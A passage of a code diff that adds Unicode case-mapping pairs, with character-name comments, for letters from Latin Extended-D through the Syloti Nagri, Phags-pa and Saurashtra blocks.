+ ["\uA72E", "\uA72F"], /* LATIN SMALL LETTER CUATRILLO WITH COMMA */
+ ["\uA730", "\uA730"], /* LATIN LETTER SMALL CAPITAL F */
+ ["\uA731", "\uA731"], /* LATIN LETTER SMALL CAPITAL S */
+ ["\uA732", "\uA733"], /* LATIN CAPITAL LETTER AA */
+ ["\uA732", "\uA733"], /* LATIN SMALL LETTER AA */
+ ["\uA734", "\uA735"], /* LATIN CAPITAL LETTER AO */
+ ["\uA734", "\uA735"], /* LATIN SMALL LETTER AO */
+ ["\uA736", "\uA737"], /* LATIN CAPITAL LETTER AU */
+ ["\uA736", "\uA737"], /* LATIN SMALL LETTER AU */
+ ["\uA738", "\uA739"], /* LATIN CAPITAL LETTER AV */
+ ["\uA738", "\uA739"], /* LATIN SMALL LETTER AV */
+ ["\uA73A", "\uA73B"], /* LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR */
+ ["\uA73A", "\uA73B"], /* LATIN SMALL LETTER AV WITH HORIZONTAL BAR */
+ ["\uA73C", "\uA73D"], /* LATIN CAPITAL LETTER AY */
+ ["\uA73C", "\uA73D"], /* LATIN SMALL LETTER AY */
+ ["\uA73E", "\uA73F"], /* LATIN CAPITAL LETTER REVERSED C WITH DOT */
+ ["\uA73E", "\uA73F"], /* LATIN SMALL LETTER REVERSED C WITH DOT */
+ ["\uA740", "\uA741"], /* LATIN CAPITAL LETTER K WITH STROKE */
+ ["\uA740", "\uA741"], /* LATIN SMALL LETTER K WITH STROKE */
+ ["\uA742", "\uA743"], /* LATIN CAPITAL LETTER K WITH DIAGONAL STROKE */
+ ["\uA742", "\uA743"], /* LATIN SMALL LETTER K WITH DIAGONAL STROKE */
+ ["\uA744", "\uA745"], /* LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE */
+ ["\uA744", "\uA745"], /* LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE */
+ ["\uA746", "\uA747"], /* LATIN CAPITAL LETTER BROKEN L */
+ ["\uA746", "\uA747"], /* LATIN SMALL LETTER BROKEN L */
+ ["\uA748", "\uA749"], /* LATIN CAPITAL LETTER L WITH HIGH STROKE */
+ ["\uA748", "\uA749"], /* LATIN SMALL LETTER L WITH HIGH STROKE */
+ ["\uA74A", "\uA74B"], /* LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY */
+ ["\uA74A", "\uA74B"], /* LATIN SMALL LETTER O WITH LONG STROKE OVERLAY */
+ ["\uA74C", "\uA74D"], /* LATIN CAPITAL LETTER O WITH LOOP */
+ ["\uA74C", "\uA74D"], /* LATIN SMALL LETTER O WITH LOOP */
+ ["\uA74E", "\uA74F"], /* LATIN CAPITAL LETTER OO */
+ ["\uA74E", "\uA74F"], /* LATIN SMALL LETTER OO */
+ ["\uA750", "\uA751"], /* LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER */
+ ["\uA750", "\uA751"], /* LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER */
+ ["\uA752", "\uA753"], /* LATIN CAPITAL LETTER P WITH FLOURISH */
+ ["\uA752", "\uA753"], /* LATIN SMALL LETTER P WITH FLOURISH */
+ ["\uA754", "\uA755"], /* LATIN CAPITAL LETTER P WITH SQUIRREL TAIL */
+ ["\uA754", "\uA755"], /* LATIN SMALL LETTER P WITH SQUIRREL TAIL */
+ ["\uA756", "\uA757"], /* LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER */
+ ["\uA756", "\uA757"], /* LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER */
+ ["\uA758", "\uA759"], /* LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE */
+ ["\uA758", "\uA759"], /* LATIN SMALL LETTER Q WITH DIAGONAL STROKE */
+ ["\uA75A", "\uA75B"], /* LATIN CAPITAL LETTER R ROTUNDA */
+ ["\uA75A", "\uA75B"], /* LATIN SMALL LETTER R ROTUNDA */
+ ["\uA75C", "\uA75D"], /* LATIN CAPITAL LETTER RUM ROTUNDA */
+ ["\uA75C", "\uA75D"], /* LATIN SMALL LETTER RUM ROTUNDA */
+ ["\uA75E", "\uA75F"], /* LATIN CAPITAL LETTER V WITH DIAGONAL STROKE */
+ ["\uA75E", "\uA75F"], /* LATIN SMALL LETTER V WITH DIAGONAL STROKE */
+ ["\uA760", "\uA761"], /* LATIN CAPITAL LETTER VY */
+ ["\uA760", "\uA761"], /* LATIN SMALL LETTER VY */
+ ["\uA762", "\uA763"], /* LATIN CAPITAL LETTER VISIGOTHIC Z */
+ ["\uA762", "\uA763"], /* LATIN SMALL LETTER VISIGOTHIC Z */
+ ["\uA764", "\uA765"], /* LATIN CAPITAL LETTER THORN WITH STROKE */
+ ["\uA764", "\uA765"], /* LATIN SMALL LETTER THORN WITH STROKE */
+ ["\uA766", "\uA767"], /* LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER */
+ ["\uA766", "\uA767"], /* LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER */
+ ["\uA768", "\uA769"], /* LATIN CAPITAL LETTER VEND */
+ ["\uA768", "\uA769"], /* LATIN SMALL LETTER VEND */
+ ["\uA76A", "\uA76B"], /* LATIN CAPITAL LETTER ET */
+ ["\uA76A", "\uA76B"], /* LATIN SMALL LETTER ET */
+ ["\uA76C", "\uA76D"], /* LATIN CAPITAL LETTER IS */
+ ["\uA76C", "\uA76D"], /* LATIN SMALL LETTER IS */
+ ["\uA76E", "\uA76F"], /* LATIN CAPITAL LETTER CON */
+ ["\uA76E", "\uA76F"], /* LATIN SMALL LETTER CON */
+ ["\uA770", "\uA770"], /* MODIFIER LETTER US */
+ ["\uA771", "\uA771"], /* LATIN SMALL LETTER DUM */
+ ["\uA772", "\uA772"], /* LATIN SMALL LETTER LUM */
+ ["\uA773", "\uA773"], /* LATIN SMALL LETTER MUM */
+ ["\uA774", "\uA774"], /* LATIN SMALL LETTER NUM */
+ ["\uA775", "\uA775"], /* LATIN SMALL LETTER RUM */
+ ["\uA776", "\uA776"], /* LATIN LETTER SMALL CAPITAL RUM */
+ ["\uA777", "\uA777"], /* LATIN SMALL LETTER TUM */
+ ["\uA778", "\uA778"], /* LATIN SMALL LETTER UM */
+ ["\uA779", "\uA77A"], /* LATIN CAPITAL LETTER INSULAR D */
+ ["\uA779", "\uA77A"], /* LATIN SMALL LETTER INSULAR D */
+ ["\uA77B", "\uA77C"], /* LATIN CAPITAL LETTER INSULAR F */
+ ["\uA77B", "\uA77C"], /* LATIN SMALL LETTER INSULAR F */
+ ["\uA77D", "\u1D79"], /* LATIN CAPITAL LETTER INSULAR G */
+ ["\uA77E", "\uA77F"], /* LATIN CAPITAL LETTER TURNED INSULAR G */
+ ["\uA77E", "\uA77F"], /* LATIN SMALL LETTER TURNED INSULAR G */
+ ["\uA780", "\uA781"], /* LATIN CAPITAL LETTER TURNED L */
+ ["\uA780", "\uA781"], /* LATIN SMALL LETTER TURNED L */
+ ["\uA782", "\uA783"], /* LATIN CAPITAL LETTER INSULAR R */
+ ["\uA782", "\uA783"], /* LATIN SMALL LETTER INSULAR R */
+ ["\uA784", "\uA785"], /* LATIN CAPITAL LETTER INSULAR S */
+ ["\uA784", "\uA785"], /* LATIN SMALL LETTER INSULAR S */
+ ["\uA786", "\uA787"], /* LATIN CAPITAL LETTER INSULAR T */
+ ["\uA786", "\uA787"], /* LATIN SMALL LETTER INSULAR T */
+ ["\uA788", "\uA788"], /* MODIFIER LETTER LOW CIRCUMFLEX ACCENT */
+ ["\uA789", "\uA789"], /* MODIFIER LETTER COLON */
+ ["\uA78A", "\uA78A"], /* MODIFIER LETTER SHORT EQUALS SIGN */
+ ["\uA78B", "\uA78C"], /* LATIN CAPITAL LETTER SALTILLO */
+ ["\uA78B", "\uA78C"], /* LATIN SMALL LETTER SALTILLO */
+ ["\uA78D", "\u0265"], /* LATIN CAPITAL LETTER TURNED H */
+ ["\uA78E", "\uA78E"], /* LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT */
+ ["\uA78F", "\uA78F"], /* LATIN LETTER SINOLOGICAL DOT */
+ ["\uA790", "\uA791"], /* LATIN CAPITAL LETTER N WITH DESCENDER */
+ ["\uA790", "\uA791"], /* LATIN SMALL LETTER N WITH DESCENDER */
+ ["\uA792", "\uA793"], /* LATIN CAPITAL LETTER C WITH BAR */
+ ["\uA792", "\uA793"], /* LATIN SMALL LETTER C WITH BAR */
+ ["\uA7C4", "\uA794"], /* LATIN SMALL LETTER C WITH PALATAL HOOK */
+ ["\uA795", "\uA795"], /* LATIN SMALL LETTER H WITH PALATAL HOOK */
+ ["\uA796", "\uA797"], /* LATIN CAPITAL LETTER B WITH FLOURISH */
+ ["\uA796", "\uA797"], /* LATIN SMALL LETTER B WITH FLOURISH */
+ ["\uA798", "\uA799"], /* LATIN CAPITAL LETTER F WITH STROKE */
+ ["\uA798", "\uA799"], /* LATIN SMALL LETTER F WITH STROKE */
+ ["\uA79A", "\uA79B"], /* LATIN CAPITAL LETTER VOLAPUK AE */
+ ["\uA79A", "\uA79B"], /* LATIN SMALL LETTER VOLAPUK AE */
+ ["\uA79C", "\uA79D"], /* LATIN CAPITAL LETTER VOLAPUK OE */
+ ["\uA79C", "\uA79D"], /* LATIN SMALL LETTER VOLAPUK OE */
+ ["\uA79E", "\uA79F"], /* LATIN CAPITAL LETTER VOLAPUK UE */
+ ["\uA79E", "\uA79F"], /* LATIN SMALL LETTER VOLAPUK UE */
+ ["\uA7A0", "\uA7A1"], /* LATIN CAPITAL LETTER G WITH OBLIQUE STROKE */
+ ["\uA7A0", "\uA7A1"], /* LATIN SMALL LETTER G WITH OBLIQUE STROKE */
+ ["\uA7A2", "\uA7A3"], /* LATIN CAPITAL LETTER K WITH OBLIQUE STROKE */
+ ["\uA7A2", "\uA7A3"], /* LATIN SMALL LETTER K WITH OBLIQUE STROKE */
+ ["\uA7A4", "\uA7A5"], /* LATIN CAPITAL LETTER N WITH OBLIQUE STROKE */
+ ["\uA7A4", "\uA7A5"], /* LATIN SMALL LETTER N WITH OBLIQUE STROKE */
+ ["\uA7A6", "\uA7A7"], /* LATIN CAPITAL LETTER R WITH OBLIQUE STROKE */
+ ["\uA7A6", "\uA7A7"], /* LATIN SMALL LETTER R WITH OBLIQUE STROKE */
+ ["\uA7A8", "\uA7A9"], /* LATIN CAPITAL LETTER S WITH OBLIQUE STROKE */
+ ["\uA7A8", "\uA7A9"], /* LATIN SMALL LETTER S WITH OBLIQUE STROKE */
+ ["\uA7AA", "\u0266"], /* LATIN CAPITAL LETTER H WITH HOOK */
+ ["\uA7AB", "\u025C"], /* LATIN CAPITAL LETTER REVERSED OPEN E */
+ ["\uA7AC", "\u0261"], /* LATIN CAPITAL LETTER SCRIPT G */
+ ["\uA7AD", "\u026C"], /* LATIN CAPITAL LETTER L WITH BELT */
+ ["\uA7AE", "\u026A"], /* LATIN CAPITAL LETTER SMALL CAPITAL I */
+ ["\uA7AF", "\uA7AF"], /* LATIN LETTER SMALL CAPITAL Q */
+ ["\uA7B0", "\u029E"], /* LATIN CAPITAL LETTER TURNED K */
+ ["\uA7B1", "\u0287"], /* LATIN CAPITAL LETTER TURNED T */
+ ["\uA7B2", "\u029D"], /* LATIN CAPITAL LETTER J WITH CROSSED-TAIL */
+ ["\uA7B3", "\uAB53"], /* LATIN CAPITAL LETTER CHI */
+ ["\uA7B4", "\uA7B5"], /* LATIN CAPITAL LETTER BETA */
+ ["\uA7B4", "\uA7B5"], /* LATIN SMALL LETTER BETA */
+ ["\uA7B6", "\uA7B7"], /* LATIN CAPITAL LETTER OMEGA */
+ ["\uA7B6", "\uA7B7"], /* LATIN SMALL LETTER OMEGA */
+ ["\uA7B8", "\uA7B9"], /* LATIN CAPITAL LETTER U WITH STROKE */
+ ["\uA7B8", "\uA7B9"], /* LATIN SMALL LETTER U WITH STROKE */
+ ["\uA7BA", "\uA7BB"], /* LATIN CAPITAL LETTER GLOTTAL A */
+ ["\uA7BA", "\uA7BB"], /* LATIN SMALL LETTER GLOTTAL A */
+ ["\uA7BC", "\uA7BD"], /* LATIN CAPITAL LETTER GLOTTAL I */
+ ["\uA7BC", "\uA7BD"], /* LATIN SMALL LETTER GLOTTAL I */
+ ["\uA7BE", "\uA7BF"], /* LATIN CAPITAL LETTER GLOTTAL U */
+ ["\uA7BE", "\uA7BF"], /* LATIN SMALL LETTER GLOTTAL U */
+ ["\uA7C0", "\uA7C0"],
+ ["\uA7C1", "\uA7C1"],
+ ["\uA7C2", "\uA7C3"], /* LATIN CAPITAL LETTER ANGLICANA W */
+ ["\uA7C2", "\uA7C3"], /* LATIN SMALL LETTER ANGLICANA W */
+ ["\uA7C4", "\uA794"], /* LATIN CAPITAL LETTER C WITH PALATAL HOOK */
+ ["\uA7C5", "\u0282"], /* LATIN CAPITAL LETTER S WITH HOOK */
+ ["\uA7C6", "\u1D8E"], /* LATIN CAPITAL LETTER Z WITH PALATAL HOOK */
+ ["\uA7C7", "\uA7C8"], /* LATIN CAPITAL LETTER D WITH SHORT STROKE OVERLAY */
+ ["\uA7C7", "\uA7C8"], /* LATIN SMALL LETTER D WITH SHORT STROKE OVERLAY */
+ ["\uA7C9", "\uA7CA"], /* LATIN CAPITAL LETTER S WITH SHORT STROKE OVERLAY */
+ ["\uA7C9", "\uA7CA"], /* LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY */
+ ["\uA7CB", "\uA7CB"],
+ ["\uA7CC", "\uA7CC"],
+ ["\uA7CD", "\uA7CD"],
+ ["\uA7CE", "\uA7CE"],
+ ["\uA7CF", "\uA7CF"],
+ ["\uA7D0", "\uA7D0"],
+ ["\uA7D1", "\uA7D1"],
+ ["\uA7D2", "\uA7D2"],
+ ["\uA7D3", "\uA7D3"],
+ ["\uA7D4", "\uA7D4"],
+ ["\uA7D5", "\uA7D5"],
+ ["\uA7D6", "\uA7D6"],
+ ["\uA7D7", "\uA7D7"],
+ ["\uA7D8", "\uA7D8"],
+ ["\uA7D9", "\uA7D9"],
+ ["\uA7DA", "\uA7DA"],
+ ["\uA7DB", "\uA7DB"],
+ ["\uA7DC", "\uA7DC"],
+ ["\uA7DD", "\uA7DD"],
+ ["\uA7DE", "\uA7DE"],
+ ["\uA7DF", "\uA7DF"],
+ ["\uA7E0", "\uA7E0"],
+ ["\uA7E1", "\uA7E1"],
+ ["\uA7E2", "\uA7E2"],
+ ["\uA7E3", "\uA7E3"],
+ ["\uA7E4", "\uA7E4"],
+ ["\uA7E5", "\uA7E5"],
+ ["\uA7E6", "\uA7E6"],
+ ["\uA7E7", "\uA7E7"],
+ ["\uA7E8", "\uA7E8"],
+ ["\uA7E9", "\uA7E9"],
+ ["\uA7EA", "\uA7EA"],
+ ["\uA7EB", "\uA7EB"],
+ ["\uA7EC", "\uA7EC"],
+ ["\uA7ED", "\uA7ED"],
+ ["\uA7EE", "\uA7EE"],
+ ["\uA7EF", "\uA7EF"],
+ ["\uA7F0", "\uA7F0"],
+ ["\uA7F1", "\uA7F1"],
+ ["\uA7F2", "\uA7F2"],
+ ["\uA7F3", "\uA7F3"],
+ ["\uA7F4", "\uA7F4"],
+ ["\uA7F5", "\uA7F6"], /* LATIN CAPITAL LETTER REVERSED HALF H */
+ ["\uA7F5", "\uA7F6"], /* LATIN SMALL LETTER REVERSED HALF H */
+ ["\uA7F7", "\uA7F7"], /* LATIN EPIGRAPHIC LETTER SIDEWAYS I */
+ ["\uA7F8", "\uA7F8"], /* MODIFIER LETTER CAPITAL H WITH STROKE */
+ ["\uA7F9", "\uA7F9"], /* MODIFIER LETTER SMALL LIGATURE OE */
+ ["\uA7FA", "\uA7FA"], /* LATIN LETTER SMALL CAPITAL TURNED M */
+ ["\uA7FB", "\uA7FB"], /* LATIN EPIGRAPHIC LETTER REVERSED F */
+ ["\uA7FC", "\uA7FC"], /* LATIN EPIGRAPHIC LETTER REVERSED P */
+ ["\uA7FD", "\uA7FD"], /* LATIN EPIGRAPHIC LETTER INVERTED M */
+ ["\uA7FE", "\uA7FE"], /* LATIN EPIGRAPHIC LETTER I LONGA */
+ ["\uA7FF", "\uA7FF"], /* LATIN EPIGRAPHIC LETTER ARCHAIC M */
+ ["\uA800", "\uA800"], /* SYLOTI NAGRI LETTER A */
+ ["\uA801", "\uA801"], /* SYLOTI NAGRI LETTER I */
+ ["\uA802", "\uA802"], /* SYLOTI NAGRI SIGN DVISVARA */
+ ["\uA803", "\uA803"], /* SYLOTI NAGRI LETTER U */
+ ["\uA804", "\uA804"], /* SYLOTI NAGRI LETTER E */
+ ["\uA805", "\uA805"], /* SYLOTI NAGRI LETTER O */
+ ["\uA806", "\uA806"], /* SYLOTI NAGRI SIGN HASANTA */
+ ["\uA807", "\uA807"], /* SYLOTI NAGRI LETTER KO */
+ ["\uA808", "\uA808"], /* SYLOTI NAGRI LETTER KHO */
+ ["\uA809", "\uA809"], /* SYLOTI NAGRI LETTER GO */
+ ["\uA80A", "\uA80A"], /* SYLOTI NAGRI LETTER GHO */
+ ["\uA80B", "\uA80B"], /* SYLOTI NAGRI SIGN ANUSVARA */
+ ["\uA80C", "\uA80C"], /* SYLOTI NAGRI LETTER CO */
+ ["\uA80D", "\uA80D"], /* SYLOTI NAGRI LETTER CHO */
+ ["\uA80E", "\uA80E"], /* SYLOTI NAGRI LETTER JO */
+ ["\uA80F", "\uA80F"], /* SYLOTI NAGRI LETTER JHO */
+ ["\uA810", "\uA810"], /* SYLOTI NAGRI LETTER TTO */
+ ["\uA811", "\uA811"], /* SYLOTI NAGRI LETTER TTHO */
+ ["\uA812", "\uA812"], /* SYLOTI NAGRI LETTER DDO */
+ ["\uA813", "\uA813"], /* SYLOTI NAGRI LETTER DDHO */
+ ["\uA814", "\uA814"], /* SYLOTI NAGRI LETTER TO */
+ ["\uA815", "\uA815"], /* SYLOTI NAGRI LETTER THO */
+ ["\uA816", "\uA816"], /* SYLOTI NAGRI LETTER DO */
+ ["\uA817", "\uA817"], /* SYLOTI NAGRI LETTER DHO */
+ ["\uA818", "\uA818"], /* SYLOTI NAGRI LETTER NO */
+ ["\uA819", "\uA819"], /* SYLOTI NAGRI LETTER PO */
+ ["\uA81A", "\uA81A"], /* SYLOTI NAGRI LETTER PHO */
+ ["\uA81B", "\uA81B"], /* SYLOTI NAGRI LETTER BO */
+ ["\uA81C", "\uA81C"], /* SYLOTI NAGRI LETTER BHO */
+ ["\uA81D", "\uA81D"], /* SYLOTI NAGRI LETTER MO */
+ ["\uA81E", "\uA81E"], /* SYLOTI NAGRI LETTER RO */
+ ["\uA81F", "\uA81F"], /* SYLOTI NAGRI LETTER LO */
+ ["\uA820", "\uA820"], /* SYLOTI NAGRI LETTER RRO */
+ ["\uA821", "\uA821"], /* SYLOTI NAGRI LETTER SO */
+ ["\uA822", "\uA822"], /* SYLOTI NAGRI LETTER HO */
+ ["\uA823", "\uA823"], /* SYLOTI NAGRI VOWEL SIGN A */
+ ["\uA824", "\uA824"], /* SYLOTI NAGRI VOWEL SIGN I */
+ ["\uA825", "\uA825"], /* SYLOTI NAGRI VOWEL SIGN U */
+ ["\uA826", "\uA826"], /* SYLOTI NAGRI VOWEL SIGN E */
+ ["\uA827", "\uA827"], /* SYLOTI NAGRI VOWEL SIGN OO */
+ ["\uA828", "\uA828"], /* SYLOTI NAGRI POETRY MARK-1 */
+ ["\uA829", "\uA829"], /* SYLOTI NAGRI POETRY MARK-2 */
+ ["\uA82A", "\uA82A"], /* SYLOTI NAGRI POETRY MARK-3 */
+ ["\uA82B", "\uA82B"], /* SYLOTI NAGRI POETRY MARK-4 */
+ ["\uA82C", "\uA82C"], /* SYLOTI NAGRI SIGN ALTERNATE HASANTA */
+ ["\uA82D", "\uA82D"],
+ ["\uA82E", "\uA82E"],
+ ["\uA82F", "\uA82F"],
+ ["\uA830", "\uA830"], /* NORTH INDIC FRACTION ONE QUARTER */
+ ["\uA831", "\uA831"], /* NORTH INDIC FRACTION ONE HALF */
+ ["\uA832", "\uA832"], /* NORTH INDIC FRACTION THREE QUARTERS */
+ ["\uA833", "\uA833"], /* NORTH INDIC FRACTION ONE SIXTEENTH */
+ ["\uA834", "\uA834"], /* NORTH INDIC FRACTION ONE EIGHTH */
+ ["\uA835", "\uA835"], /* NORTH INDIC FRACTION THREE SIXTEENTHS */
+ ["\uA836", "\uA836"], /* NORTH INDIC QUARTER MARK */
+ ["\uA837", "\uA837"], /* NORTH INDIC PLACEHOLDER MARK */
+ ["\uA838", "\uA838"], /* NORTH INDIC RUPEE MARK */
+ ["\uA839", "\uA839"], /* NORTH INDIC QUANTITY MARK */
+ ["\uA83A", "\uA83A"],
+ ["\uA83B", "\uA83B"],
+ ["\uA83C", "\uA83C"],
+ ["\uA83D", "\uA83D"],
+ ["\uA83E", "\uA83E"],
+ ["\uA83F", "\uA83F"],
+ ["\uA840", "\uA840"], /* PHAGS-PA LETTER KA */
+ ["\uA841", "\uA841"], /* PHAGS-PA LETTER KHA */
+ ["\uA842", "\uA842"], /* PHAGS-PA LETTER GA */
+ ["\uA843", "\uA843"], /* PHAGS-PA LETTER NGA */
+ ["\uA844", "\uA844"], /* PHAGS-PA LETTER CA */
+ ["\uA845", "\uA845"], /* PHAGS-PA LETTER CHA */
+ ["\uA846", "\uA846"], /* PHAGS-PA LETTER JA */
+ ["\uA847", "\uA847"], /* PHAGS-PA LETTER NYA */
+ ["\uA848", "\uA848"], /* PHAGS-PA LETTER TA */
+ ["\uA849", "\uA849"], /* PHAGS-PA LETTER THA */
+ ["\uA84A", "\uA84A"], /* PHAGS-PA LETTER DA */
+ ["\uA84B", "\uA84B"], /* PHAGS-PA LETTER NA */
+ ["\uA84C", "\uA84C"], /* PHAGS-PA LETTER PA */
+ ["\uA84D", "\uA84D"], /* PHAGS-PA LETTER PHA */
+ ["\uA84E", "\uA84E"], /* PHAGS-PA LETTER BA */
+ ["\uA84F", "\uA84F"], /* PHAGS-PA LETTER MA */
+ ["\uA850", "\uA850"], /* PHAGS-PA LETTER TSA */
+ ["\uA851", "\uA851"], /* PHAGS-PA LETTER TSHA */
+ ["\uA852", "\uA852"], /* PHAGS-PA LETTER DZA */
+ ["\uA853", "\uA853"], /* PHAGS-PA LETTER WA */
+ ["\uA854", "\uA854"], /* PHAGS-PA LETTER ZHA */
+ ["\uA855", "\uA855"], /* PHAGS-PA LETTER ZA */
+ ["\uA856", "\uA856"], /* PHAGS-PA LETTER SMALL A */
+ ["\uA857", "\uA857"], /* PHAGS-PA LETTER YA */
+ ["\uA858", "\uA858"], /* PHAGS-PA LETTER RA */
+ ["\uA859", "\uA859"], /* PHAGS-PA LETTER LA */
+ ["\uA85A", "\uA85A"], /* PHAGS-PA LETTER SHA */
+ ["\uA85B", "\uA85B"], /* PHAGS-PA LETTER SA */
+ ["\uA85C", "\uA85C"], /* PHAGS-PA LETTER HA */
+ ["\uA85D", "\uA85D"], /* PHAGS-PA LETTER A */
+ ["\uA85E", "\uA85E"], /* PHAGS-PA LETTER I */
+ ["\uA85F", "\uA85F"], /* PHAGS-PA LETTER U */
+ ["\uA860", "\uA860"], /* PHAGS-PA LETTER E */
+ ["\uA861", "\uA861"], /* PHAGS-PA LETTER O */
+ ["\uA862", "\uA862"], /* PHAGS-PA LETTER QA */
+ ["\uA863", "\uA863"], /* PHAGS-PA LETTER XA */
+ ["\uA864", "\uA864"], /* PHAGS-PA LETTER FA */
+ ["\uA865", "\uA865"], /* PHAGS-PA LETTER GGA */
+ ["\uA866", "\uA866"], /* PHAGS-PA LETTER EE */
+ ["\uA867", "\uA867"], /* PHAGS-PA SUBJOINED LETTER WA */
+ ["\uA868", "\uA868"], /* PHAGS-PA SUBJOINED LETTER YA */
+ ["\uA869", "\uA869"], /* PHAGS-PA LETTER TTA */
+ ["\uA86A", "\uA86A"], /* PHAGS-PA LETTER TTHA */
+ ["\uA86B", "\uA86B"], /* PHAGS-PA LETTER DDA */
+ ["\uA86C", "\uA86C"], /* PHAGS-PA LETTER NNA */
+ ["\uA86D", "\uA86D"], /* PHAGS-PA LETTER ALTERNATE YA */
+ ["\uA86E", "\uA86E"], /* PHAGS-PA LETTER VOICELESS SHA */
+ ["\uA86F", "\uA86F"], /* PHAGS-PA LETTER VOICED HA */
+ ["\uA870", "\uA870"], /* PHAGS-PA LETTER ASPIRATED FA */
+ ["\uA871", "\uA871"], /* PHAGS-PA SUBJOINED LETTER RA */
+ ["\uA872", "\uA872"], /* PHAGS-PA SUPERFIXED LETTER RA */
+ ["\uA873", "\uA873"], /* PHAGS-PA LETTER CANDRABINDU */
+ ["\uA874", "\uA874"], /* PHAGS-PA SINGLE HEAD MARK */
+ ["\uA875", "\uA875"], /* PHAGS-PA DOUBLE HEAD MARK */
+ ["\uA876", "\uA876"], /* PHAGS-PA MARK SHAD */
+ ["\uA877", "\uA877"], /* PHAGS-PA MARK DOUBLE SHAD */
+ ["\uA878", "\uA878"],
+ ["\uA879", "\uA879"],
+ ["\uA87A", "\uA87A"],
+ ["\uA87B", "\uA87B"],
+ ["\uA87C", "\uA87C"],
+ ["\uA87D", "\uA87D"],
+ ["\uA87E", "\uA87E"],
+ ["\uA87F", "\uA87F"],
+ ["\uA880", "\uA880"], /* SAURASHTRA SIGN ANUSVARA */
+ ["\uA881", "\uA881"], /* SAURASHTRA SIGN VISARGA */
+ ["\uA882", "\uA882"], /* SAURASHTRA LETTER A */
+ ["\uA883", "\uA883"], /* SAURASHTRA LETTER AA */
+ ["\uA884", "\uA884"], /* SAURASHTRA LETTER I */
+ ["\uA885", "\uA885"], /* SAURASHTRA LETTER II */
+ ["\uA886", "\uA886"], /* SAURASHTRA LETTER U */
+ ["\uA887", "\uA887"], /* SAURASHTRA LETTER UU */
+ ["\uA888", "\uA888"], /* SAURASHTRA LETTER VOCALIC R */
+ ["\uA889", "\uA889"], /* SAURASHTRA LETTER VOCALIC RR */
+ ["\uA88A", "\uA88A"], /* SAURASHTRA LETTER VOCALIC L */
+ ["\uA88B", "\uA88B"], /* SAURASHTRA LETTER VOCALIC LL */
+ ["\uA88C", "\uA88C"], /* SAURASHTRA LETTER E */
+ ["\uA88D", "\uA88D"], /* SAURASHTRA LETTER EE */
+ ["\uA88E", "\uA88E"], /* SAURASHTRA LETTER AI */
+ ["\uA88F", "\uA88F"], /* SAURASHTRA LETTER O */
+ ["\uA890", "\uA890"], /* SAURASHTRA LETTER OO */
+ ["\uA891", "\uA891"], /* SAURASHTRA LETTER AU */
+ ["\uA892", "\uA892"], /* SAURASHTRA LETTER KA */
+ ["\uA893", "\uA893"], /* SAURASHTRA LETTER KHA */
+ ["\uA894", "\uA894"], /* SAURASHTRA LETTER GA */
+ ["\uA895", "\uA895"], /* SAURASHTRA LETTER GHA */
+ ["\uA896", "\uA896"], /* SAURASHTRA LETTER NGA */
+ ["\uA897", "\uA897"], /* SAURASHTRA LETTER CA */
+ ["\uA898", "\uA898"], /* SAURASHTRA LETTER CHA */
+ ["\uA899", "\uA899"], /* SAURASHTRA LETTER JA */
+ ["\uA89A", "\uA89A"], /* SAURASHTRA LETTER JHA */
+ ["\uA89B", "\uA89B"], /* SAURASHTRA LETTER NYA */
+ ["\uA89C", "\uA89C"], /* SAURASHTRA LETTER TTA */
+ ["\uA89D", "\uA89D"], /* SAURASHTRA LETTER TTHA */
+ ["\uA89E", "\uA89E"], /* SAURASHTRA LETTER DDA */
+ ["\uA89F", "\uA89F"], /* SAURASHTRA LETTER DDHA */
+ ["\uA8A0", "\uA8A0"], /* SAURASHTRA LETTER NNA */
+ ["\uA8A1", "\uA8A1"], /* SAURASHTRA LETTER TA */
+ ["\uA8A2", "\uA8A2"], /* SAURASHTRA LETTER THA */
+ ["\uA8A3", "\uA8A3"], /* SAURASHTRA LETTER DA */
+ ["\uA8A4", "\uA8A4"], /* SAURASHTRA LETTER DHA */
+ ["\uA8A5", "\uA8A5"], /* SAURASHTRA LETTER NA */
+ ["\uA8A6", "\uA8A6"], /* SAURASHTRA LETTER PA */
+ ["\uA8A7", "\uA8A7"], /* SAURASHTRA LETTER PHA */
+ ["\uA8A8", "\uA8A8"], /* SAURASHTRA LETTER BA */
+ ["\uA8A9", "\uA8A9"], /* SAURASHTRA LETTER BHA */
+ ["\uA8AA", "\uA8AA"], /* SAURASHTRA LETTER MA */
+ ["\uA8AB", "\uA8AB"], /* SAURASHTRA LETTER YA */
+ ["\uA8AC", "\uA8AC"], /* SAURASHTRA LETTER RA */
+ ["\uA8AD", "\uA8AD"], /* SAURASHTRA LETTER LA */
+ ["\uA8AE", "\uA8AE"], /* SAURASHTRA LETTER VA */
+ ["\uA8AF", "\uA8AF"], /* SAURASHTRA LETTER SHA */
+ ["\uA8B0", "\uA8B0"], /* SAURASHTRA LETTER SSA */
+ ["\uA8B1", "\uA8B1"], /* SAURASHTRA LETTER SA */
+ ["\uA8B2", "\uA8B2"], /* SAURASHTRA LETTER HA */
+ ["\uA8B3", "\uA8B3"], /* SAURASHTRA LETTER LLA */
+ ["\uA8B4", "\uA8B4"], /* SAURASHTRA CONSONANT SIGN HAARU */
+ ["\uA8B5", "\uA8B5"], /* SAURASHTRA VOWEL SIGN AA */
+ ["\uA8B6", "\uA8B6"], /* SAURASHTRA VOWEL SIGN I */
+ ["\uA8B7", "\uA8B7"], /* SAURASHTRA VOWEL SIGN II */
+ ["\uA8B8", "\uA8B8"], /* SAURASHTRA VOWEL SIGN U */
+ ["\uA8B9", "\uA8B9"], /* SAURASHTRA VOWEL SIGN UU */
+ ["\uA8BA", "\uA8BA"], /* SAURASHTRA VOWEL SIGN VOCALIC R */
+ ["\uA8BB", "\uA8BB"], /* SAURASHTRA VOWEL SIGN VOCALIC RR */
+ ["\uA8BC", "\uA8BC"], /* SAURASHTRA VOWEL SIGN VOCALIC L */
